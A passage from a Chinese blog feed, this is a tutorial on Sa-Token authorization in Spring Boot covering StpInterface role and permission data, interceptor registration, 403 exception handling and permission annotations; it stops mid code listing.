完全一致</td></tr><tr><td><code>setError(lambda)</code></td><td>异常处理函数，认证函数抛出异常时执行</td><td>返回值直接输出到前端，必须手动设置 Content-Type</td></tr></tbody></table><table><thead><tr><th>坑点</th><th>原因</th><th>解决方案</th></tr></thead><tbody><tr><td><code>setError</code> 前端收到纯文本</td><td>未设置 <code>Content-Type</code> 响应头</td><td>在 <code>setError</code> 内调用 <code>SaHolder.getResponse().setHeader(...)</code></td></tr><tr><td><code>setError</code> 返回非法 JSON</td><td><code>SaResult.toString()</code> 不是 JSON</td><td>使用 Jackson / Hutool 序列化，或手动拼接 JSON 字符串</td></tr><tr><td><code>setBeforeAuth</code> 对被排除的路径也生效</td><td>不受 include/exclude 限制</td><td>不在 <code>setBeforeAuth</code> 中做鉴权，只做无副作用的预处理</td></tr></tbody></table><table><thead><tr><th>安全响应头</th><th>作用</th></tr></thead><tbody><tr><td><code>X-Frame-Options: SAMEORIGIN</code></td><td>防止点击劫持，只允许同域 iframe 嵌入</td></tr><tr><td><code>X-XSS-Protection: 1; mode=block</code></td><td>启用浏览器 XSS 过滤，检测到攻击时停止渲染</td></tr><tr><td><code>X-Content-Type-Options: nosniff</code></td><td>禁止浏览器进行内容类型嗅探</td></tr></tbody></table></div>]]>
    </content>
    <id>https://blog.prorisehub.com/posts/62352.html</id>
    <link href="https://blog.prorisehub.com/posts/62352.html"/>
    <published>2026-02-08T07:38:17.000Z</published>
    <summary>
      <![CDATA[<div id="postchat_postcontent"><h1>第一章.]]>
    </summary>
    <title>登录注册番外篇（二） - Sa-Token：权限认证完全指南</title>
    <updated>2026-05-07T03:10:51.033Z</updated>
  </entry>
  <entry>
    <author>
      <name>Prorise</name>
    </author>
    <category term="后端技术" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/"/>
    <category term="Java" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/"/>
    <category term="Spring系列" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/Spring%E7%B3%BB%E5%88%97/"/>
    <category term="登录注册系列" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/Spring%E7%B3%BB%E5%88%97/%E7%99%BB%E5%BD%95%E6%B3%A8%E5%86%8C%E7%B3%BB%E5%88%97/"/>
    <category term="Sa-Token" scheme="https://blog.prorisehub.com/categories/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF/Java/Spring%E7%B3%BB%E5%88%97/%E7%99%BB%E5%BD%95%E6%B3%A8%E5%86%8C%E7%B3%BB%E5%88%97/Sa-Token/"/>
    <category term="Spring生态篇" scheme="https://blog.prorisehub.com/tags/Spring%E7%94%9F%E6%80%81%E7%AF%87/"/>
    <category term="Sa-Token系列篇" scheme="https://blog.prorisehub.com/tags/Sa-Token%E7%B3%BB%E5%88%97%E7%AF%87/"/>
    <content>
      <![CDATA[<div id="postchat_postcontent"><h1>第一章. 告诉框架&quot;谁能做什么&quot;——StpInterface</h1><p><strong>阶段式学习路径</strong></p><p>番外篇二完整讲解了登录会话的生命周期——Token 怎么生成、怎么续签、怎么下线。但到目前为止，我们的项目只解决了&quot;你是谁&quot;这个问题，任何登录用户都能访问任何接口。</p><p>要实现&quot;张三能发文章，李四只能看文章，王五连登录都进不来&quot;，还差一个关键环节：<strong>告诉框架每个用户有哪些权限</strong>。这就是本章的主角 <code>StpInterface</code>。</p><hr><h2 id="1-1-为什么是接口而不是配置">1.1. 为什么是接口而不是配置</h2><p>在动手写代码之前，先理解一个设计决策：Sa-Token 为什么不直接提供&quot;查数据库获取权限&quot;的功能，而是要求开发者实现一个接口？</p><p>不同项目的权限数据来源千差万别。有的项目权限数据存在 MySQL 的三张关联表里，有的存在 MongoDB 的文档里，有的通过远程 RPC 调用其他服务获取，有的小型项目直接硬编码在代码里。如果 Sa-Token 内置了&quot;查 MySQL 获取权限&quot;的逻辑，那么使用 MongoDB 或 RPC 的项目就完全无法使用这个框架。</p><p>通过 <code>StpInterface</code> 接口，Sa-Token 把&quot;权限数据从哪来&quot;的决策权完全交给了开发者。框架只定义两个方法的签名：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 给定用户 ID，返回该用户拥有的权限码列表</span></span><br><span class="line">List&lt;String&gt; <span class="title function_">getPermissionList</span><span class="params">(Object loginId, String loginType)</span>;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 给定用户 ID，返回该用户拥有的角色标识列表</span></span><br><span class="line">List&lt;String&gt; <span class="title function_">getRoleList</span><span class="params">(Object loginId, String loginType)</span>;</span><br></pre></td></tr></table></figure><p>你在实现里查数据库、查缓存、查配置文件都行，框架只认你返回的 <code>List&lt;String&gt;</code>。</p><p>两个方法都有 <code>loginType</code> 参数，这是为多业务线场景设计的——一个电商系统可能同时存在普通用户（<code>loginType = &quot;login&quot;</code>）和商家（<code>loginType = &quot;merchant&quot;</code>），两套账号体系对应完全不同的权限表。通过 <code>loginType</code> 区分，可以在同一个实现类里根据不同业务线返回不同的权限数据。本篇只用默认的 <code>&quot;login&quot;</code> 类型，多业务线场景留到番外篇四展开。</p><hr><h2 id="1-2-Sa-Token-的权限模型：字符串即权限">1.2. Sa-Token 的权限模型：字符串即权限</h2><p>在实现 <code>StpInterface</code> 之前，还有一个基础概念需要建立：Sa-Token 的权限模型。</p><p>它非常简单——<strong>权限用字符串表示，角色也用字符串表示</strong>。框架不强制你使用 RBAC 模型，不要求你建特定的数据库表，不限制你的权限编码格式。它只需要你回答两个问题：这个用户有哪些权限码？这个用户有哪些角色标识？</p><p>权限码的格式完全由你决定。业界最常见的格式是 <code>资源:操作</code>，比如：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">user:add          用户新增</span><br><span class="line">user:delete       用户删除</span><br><span class="line">user:update       用户修改</span><br><span class="line">user:view         用户查看</span><br><span class="line">article:publish   文章发布</span><br><span class="line">article:review    文章审核</span><br><span class="line">order:cancel      订单取消</span><br></pre></td></tr></table></figure><p>角色标识通常用简单的单词：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">admin     管理员</span><br><span class="line">editor    编辑</span><br><span class="line">user      普通用户</span><br></pre></td></tr></table></figure><p>Sa-Token 在鉴权时会调用你实现的 <code>StpInterface</code>，拿到权限列表和角色列表后，判断列表中是否包含目标值，决定是否放行。整个校验逻辑由框架完成，你只负责提供数据。</p><hr><h2 id="1-3-实现-StpInterface">1.3. 实现 StpInterface</h2><p>现在把权限数据源接入进来。为了聚焦 Sa-Token 本身的鉴权机制，我们先用硬编码 Map 模拟权限数据，后续替换为数据库查询时只需要修改这一个类，其余代码完全不用动。</p><p>在 <code>com.example.authsatoken</code> 包下新建 <code>auth</code> 子包，然后创建实现类：</p><p>📄 <code>src/main/java/com/example/authsatoken/auth/StpInterfaceImpl.java</code>（新建）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.authsatoken.auth;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.stp.StpInterface;</span><br><span class="line"><span class="keyword">import</span> org.springframework.stereotype.Component;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.util.ArrayList;</span><br><span class="line"><span class="keyword">import</span> java.util.List;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 权限数据源实现类</span></span><br><span class="line"><span class="comment"> * Sa-Token 每次进行权限校验时，都会调用此类的方法获取当前用户的权限和角色数据</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * 当前使用硬编码 Map 模拟，实际项目中替换为数据库查询即可，其余代码无需改动</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">StpInterfaceImpl</span> <span class="keyword">implements</span> <span class="title class_">StpInterface</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 角色 → 权限码列表的映射</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * admin 角色：拥有用户模块的全部操作权限</span></span><br><span class="line"><span class="comment">     * user  角色：只有查看类权限</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Map&lt;String, List&lt;String&gt;&gt; ROLE_PERMISSION_MAP = Map.of(</span><br><span class="line">            <span class="string">&quot;admin&quot;</span>, List.of(<span class="string">&quot;user:add&quot;</span>, <span class="string">&quot;user:delete&quot;</span>, <span class="string">&quot;user:update&quot;</span>, <span class="string">&quot;user:view&quot;</span>),</span><br><span class="line">            <span class="string">&quot;user&quot;</span>,  List.of(<span class="string">&quot;user:view&quot;</span>, <span class="string">&quot;article:view&quot;</span>)</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 用户 ID（String 形式）→ 角色标识列表的映射</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * 10001 对应 admin 账号，拥有 admin 角色</span></span><br><span class="line"><span class="comment">     * 10002 对应 user  账号，拥有 user  角色</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * 注意：Sa-Token 内部将 loginId 统一转为 String 存储，</span></span><br><span class="line"><span class="comment">     * 所以这里的 Map key 必须是 String 类型，不能是 Long</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> Map&lt;String, List&lt;String&gt;&gt; USER_ROLE_MAP = Map.of(</span><br><span class="line">            <span class="string">&quot;10001&quot;</span>, List.of(<span class="string">&quot;admin&quot;</span>),</span><br><span class="line">            <span class="string">&quot;10002&quot;</span>, List.of(<span class="string">&quot;user&quot;</span>)</span><br><span class="line">    );</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 返回指定账号所拥有的权限码集合</span></span><br><span class="line"><span class="comment">     *</span></span><br><span class="line"><span class="comment">     * 本实现采用 RBAC 思路：先查角色，再根据角色聚合权限</span></span><br><span class="line"><span class="comment">     * 实际项目中建议对此方法的返回值做缓存（如 Redis），避免每次请求都查数据库</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;String&gt; <span class="title function_">getPermissionList</span><span class="params">(Object loginId, String loginType)</span> &#123;</span><br><span class="line">        List&lt;String&gt; permissions = <span class="keyword">new</span> <span class="title class_">ArrayList</span>&lt;&gt;();</span><br><span class="line">        <span class="comment">// 先拿到该用户的所有角色，再根据角色聚合权限码</span></span><br><span class="line">        List&lt;String&gt; roles = getRoleList(loginId, loginType);</span><br><span class="line">        <span class="keyword">for</span> (String role : roles) &#123;</span><br><span class="line">            List&lt;String&gt; perms = ROLE_PERMISSION_MAP.get(role);</span><br><span class="line">            <span class="keyword">if</span> (perms != <span class="literal">null</span>) &#123;</span><br><span class="line">                permissions.addAll(perms);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">return</span> permissions;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 返回指定账号所拥有的角色标识集合</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> List&lt;String&gt; <span class="title function_">getRoleList</span><span class="params">(Object loginId, String loginType)</span> &#123;</span><br><span class="line">        <span class="comment">// loginId 是 Object 类型，必须转为 String 才能与 Map 的 key 匹配</span></span><br><span class="line">        List&lt;String&gt; roles = USER_ROLE_MAP.get(String.valueOf(loginId));</span><br><span class="line">        <span class="comment">// 若用户 ID 不在映射中（如测试账号），返回空列表而非 null，避免 NPE</span></span><br><span class="line">        <span class="keyword">return</span> roles != <span class="literal">null</span> ? roles : List.of();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="1-4-与登录接口的数据对齐">1.4. 与登录接口的数据对齐</h2><p><code>StpInterfaceImpl</code> 里 <code>USER_ROLE_MAP</code> 的 key 是用户 ID，而用户 ID 是登录时由我们的业务逻辑决定的。需要确认两边的数据完全对齐。</p><p>回顾番外篇二第一章升级后的登录接口，<code>USER_DB</code> 的映射是：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">admin → userId 10001</span><br><span class="line">user  → userId 10002</span><br></pre></td></tr></table></figure><p>对应 <code>USER_ROLE_MAP</code>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">&quot;10001&quot; → admin 角色</span><br><span class="line">&quot;10002&quot; → user  角色</span><br></pre></td></tr></table></figure><p>两边完全对齐。<code>admin</code> 账号登录后，Sa-Token 存储的 loginId 是 <code>&quot;10001&quot;</code>，当框架调用 <code>getRoleList(&quot;10001&quot;, &quot;login&quot;)</code> 时，能从 <code>USER_ROLE_MAP</code> 中正确取到 <code>[&quot;admin&quot;]</code>，进而从 <code>ROLE_PERMISSION_MAP</code> 中聚合出 <code>[&quot;user:add&quot;, &quot;user:delete&quot;, &quot;user:update&quot;, &quot;user:view&quot;]</code>。</p><p>整条数据流是：<strong>登录时的 userId → Redis 存储 → 鉴权时框架调用 StpInterface → 返回权限数据 → 框架完成校验</strong>。任何一环的 ID 不一致都会导致权限查不到，排查时从这条链路逐段检查。</p><hr><h2 id="1-5-本章总结">1.5. 本章总结</h2><p><strong>本章回顾</strong></p><p>本章完成了权限认证体系的数据层建设。我们首先从设计角度理解了 <code>StpInterface</code> 接口方案的价值：框架只约定接口规范，权限数据来源完全由开发者决定，<code>loginType</code> 参数进一步支持多业务线场景。随后建立了 Sa-Token 权限模型的基础认知：权限码和角色标识都是字符串，<code>资源:操作</code> 是最常见的权限码格式。在实现层面，我们创建了 <code>StpInterfaceImpl</code>，用两个硬编码 Map 分别维护&quot;用户 ID → 角色&quot;和&quot;角色 → 权限码&quot;的映射，体现了 RBAC 的核心两级查询结构。最后确认了权限数据与登录 userId 的对齐关系，确保整条数据流连贯。</p><p><strong>核心汇总表</strong></p><table><thead><tr><th>组件</th><th>职责</th><th>关键点</th></tr></thead><tbody><tr><td><code>StpInterface</code></td><td>定义权限数据查询规范</td><td>框架只认接口，不关心实现细节</td></tr><tr><td><code>StpInterfaceImpl</code></td><td>提供具体的权限数据</td><td>必须加 <code>@Component</code>，全项目唯一</td></tr><tr><td><code>getPermissionList()</code></td><td>返回用户的权限码列表</td><td>loginId 实际是 String，注意类型转换</td></tr><tr><td><code>getRoleList()</code></td><td>返回用户的角色标识列表</td><td>未找到时返回空列表，避免 NPE</td></tr></tbody></table><table><thead><tr><th>权限码格式</th><th>示例</th><th>含义</th></tr></thead><tbody><tr><td><code>资源:操作</code></td><td><code>user:add</code></td><td>用户模块新增操作</td></tr><tr><td><code>资源:*</code></td><td><code>user:*</code></td><td>用户模块所有操作（通配符，第五章讲解）</td></tr><tr><td><code>*</code></td><td><code>*</code></td><td>所有模块所有操作（超级管理员，第五章讲解）</td></tr></tbody></table><table><thead><tr><th>数据对齐检查点</th><th>说明</th></tr></thead><tbody><tr><td>登录接口的 userId</td><td>决定了 loginId 存入 Redis 的值</td></tr><tr><td><code>USER_ROLE_MAP</code> 的 key</td><td>必须是 String 类型，与 Redis 中的 loginId 完全一致</td></tr><tr><td><code>String.valueOf(loginId)</code></td><td>从 Object 类型转换，防止类型不匹配导致查询结果为 null</td></tr></tbody></table><h1>第二章. 注解鉴权——声明式的权限控制</h1><p><strong>阶段式学习路径</strong></p><p>第一章完成了权限认证的数据层——框架现在知道每个用户有哪些权限和角色了。但&quot;知道归知道&quot;，还差最后一步：在接口上声明&quot;访问这个接口需要什么权限&quot;，让框架在请求到达方法之前自动完成校验。</p><p>注解鉴权就是最直观的表达方式。把权限要求写在方法上，业务代码和鉴权逻辑一目了然，互不干扰。本章先完成注解生效的前置步骤，再系统覆盖 Sa-Token 提供的全部 8 种鉴权注解。</p><hr><h2 id="2-1-前置步骤：注册拦截器">2.1. 前置步骤：注册拦截器</h2><p>Sa-Token 使用全局拦截器完成注解鉴权功能，为了不为项目带来不必要的性能负担，拦截器默认处于关闭状态。因此，<strong>使用注解鉴权之前，必须手动将 <code>SaInterceptor</code> 注册到项目中</strong>——这是最常见的入门坑，注解加了但请求完全不受拦截，原因往往就在这里。</p><p>在 <code>com.example.authsatoken</code> 包下新建 <code>config</code> 子包，创建配置类：</p><p>📄 <code>src/main/java/com/example/authsatoken/config/SaTokenConfig.java</code>（新建）</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> com.example.authsatoken.config;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.interceptor.SaInterceptor;</span><br><span class="line"><span class="keyword">import</span> org.springframework.context.annotation.Configuration;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.servlet.config.annotation.InterceptorRegistry;</span><br><span class="line"><span class="keyword">import</span> org.springframework.web.servlet.config.annotation.WebMvcConfigurer;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Sa-Token 拦截器配置</span></span><br><span class="line"><span class="comment"> * 注册 SaInterceptor，使 Controller 方法上的鉴权注解生效</span></span><br><span class="line"><span class="comment"> *</span></span><br><span class="line"><span class="comment"> * 当前配置：无参版本，只开启注解鉴权，不附加任何路由规则</span></span><br><span class="line"><span class="comment"> * 第三章将升级为有参版本，在 Lambda 中配置路由级别的访问策略</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@Configuration</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">SaTokenConfig</span> <span class="keyword">implements</span> <span class="title class_">WebMvcConfigurer</span> &#123;</span><br><span class="line"></span><br><span class="line">    <span class="meta">@Override</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">addInterceptors</span><span class="params">(InterceptorRegistry registry)</span> &#123;</span><br><span class="line">        <span class="comment">// new SaInterceptor() 不传参数：扫描注解并执行鉴权，没有注解的接口直接放行</span></span><br><span class="line">        registry.addInterceptor(<span class="keyword">new</span> <span class="title class_">SaInterceptor</span>())</span><br><span class="line">                .addPathPatterns(<span class="string">&quot;/**&quot;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>new SaInterceptor()</code> 不传参数时，拦截器只做一件事：扫描 Controller 方法上是否有 Sa-Token 的鉴权注解，有则执行对应校验，没有则直接放行。这意味着当前阶段未加注解的接口对所有人开放，包括未登录用户——第三章引入路由规则后才会改变这个默认行为。</p><hr><h2 id="2-2-补全异常处理">2.2. 补全异常处理</h2><p>注解鉴权失败时，Sa-Token 会抛出两种新的异常类型，它们不是 <code>NotLoginException</code>，需要在 <code>GlobalExceptionHandler</code> 中单独捕获。</p><ul><li><code>NotPermissionException</code>：权限码校验失败，用户没有访问该接口所需的权限码</li><li><code>NotRoleException</code>：角色校验失败，用户没有访问该接口所需的角色</li></ul><p>这两种异常对应的 HTTP 状态码是 <code>403</code>（Forbidden）</p><p>与番外篇二第四章的 <code>401</code>（Unauthorized）语义不同：</p><ul><li><p><strong>401 表示&quot;你还没有证明你是谁&quot;</strong></p></li><li><p><strong>403 表示&quot;我知道你是谁，但你没有权限做这件事&quot;</strong>。</p></li></ul><p>前端可以根据状态码的不同决定是跳转到登录页（401）还是展示&quot;权限不足&quot;提示（403）。</p><p>📄 <code>src/main/java/com/example/authsatoken/exception/GlobalExceptionHandler.java</code>（修改，追加两个方法）</p><p>在已有的 <code>handleNotLoginException</code> 方法下方追加：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> cn.dev33.satoken.exception.NotPermissionException;</span><br><span class="line"><span class="keyword">import</span> cn.dev33.satoken.exception.NotRoleException;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 捕获权限码校验失败异常</span></span><br><span class="line"><span class="comment"> * 触发场景：用户已登录，但不拥有接口要求的权限码</span></span><br><span class="line"><span class="comment"> * e.getPermission() 返回校验失败的具体权限码，方便日志定位</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@ExceptionHandler(NotPermissionException.class)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">handleNotPermissionException</span><span class="params">(NotPermissionException e)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.error(<span class="string">&quot;权限不足，缺少权限：&quot;</span> + e.getPermission()).setCode(<span class="number">403</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * 捕获角色校验失败异常</span></span><br><span class="line"><span class="comment"> * 触发场景：用户已登录，但不拥有接口要求的角色</span></span><br><span class="line"><span class="comment"> * e.getRole() 返回校验失败的具体角色标识</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="meta">@ExceptionHandler(NotRoleException.class)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">handleNotRoleException</span><span class="params">(NotRoleException e)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.error(<span class="string">&quot;权限不足，缺少角色：&quot;</span> + e.getRole()).setCode(<span class="number">403</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><hr><h2 id="2-3-Sa-Token-全部注解一览">2.3. Sa-Token 全部注解一览</h2><p>Sa-Token 一共提供 8 种鉴权注解，覆盖了从登录校验到 API 签名的各类场景。以上注解<strong>都可以加在类上</strong>，代表为这个类下的所有方法统一进行鉴权。</p><p>我们在 <code>com.example.authsatoken.controller</code> 包下新建演示控制器：</p><p>📄 <code>src/main/java/com/example/authsatoken/controller/PermissionController.java</code>（新建）</p><hr><h3 id="2-3-1-SaCheckLogin：登录校验">2.3.1. <code>@SaCheckLogin</code>：登录校验</h3><p>最基础的门槛——只校验&quot;是否已登录&quot;，不关心角色和权限：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 登录校验：只有登录之后才能进入该方法</span></span><br><span class="line"><span class="meta">@SaCheckLogin</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/loginRequired&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">loginRequired</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;已通过登录校验&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>它和手动调用 <code>StpUtil.checkLogin()</code> 的效果完全等价，只是换成了声明式写法。适合所有登录用户都能访问的接口，比如&quot;获取个人信息&quot;。</p><hr><h3 id="2-3-2-SaCheckRole：角色校验">2.3.2. <code>@SaCheckRole</code>：角色校验</h3><p>校验当前用户是否拥有指定角色。框架调用 <code>StpInterfaceImpl.getRoleList()</code> 拿到角色列表，再判断是否包含注解指定的值：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 角色校验（单角色）：必须拥有 admin 角色</span></span><br><span class="line"><span class="meta">@SaCheckRole(&quot;admin&quot;)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/adminOnly&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">adminOnly</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;你拥有 admin 角色&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 角色校验（多角色 AND 模式，默认）：必须同时拥有 admin 和 editor 两个角色</span></span><br><span class="line"><span class="meta">@SaCheckRole(&#123;&quot;admin&quot;, &quot;editor&quot;&#125;)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/adminAndEditor&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">adminAndEditor</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;你同时拥有 admin 和 editor 角色&quot;</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// 角色校验（多角色 OR 模式）：拥有 admin 或 editor 任一角色即可</span></span><br><span class="line"><span class="meta">@SaCheckRole(value = &#123;&quot;admin&quot;, &quot;editor&quot;&#125;, mode = SaMode.OR)</span></span><br><span class="line"><span class="meta">@GetMapping(&quot;/adminOrEditor&quot;)</span></span><br><span class="line"><span class="keyword">public</span> SaResult <span class="title function_">adminOrEditor</span><span class="params">()</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> SaResult.ok(<span class="string">&quot;你拥有 admin 或 editor 角色&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><code>mode</code> 有两种取值：<code>SaMode.AND</code>（默认）要求全部满足；<code>SaMode.OR</code> 满足其一即可。</p><hr><h3 id="2-3-3-SaCheckPermission：权限码校验">2.3.3. <code>@SaCheckPermission</code>：权限码校验</h3><p>校验当前用户是否拥有指定权限码。框架调用 <code>StpInterfaceImpl.getPermissionList()</code>，其余逻辑与角色校验完全对称：</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span 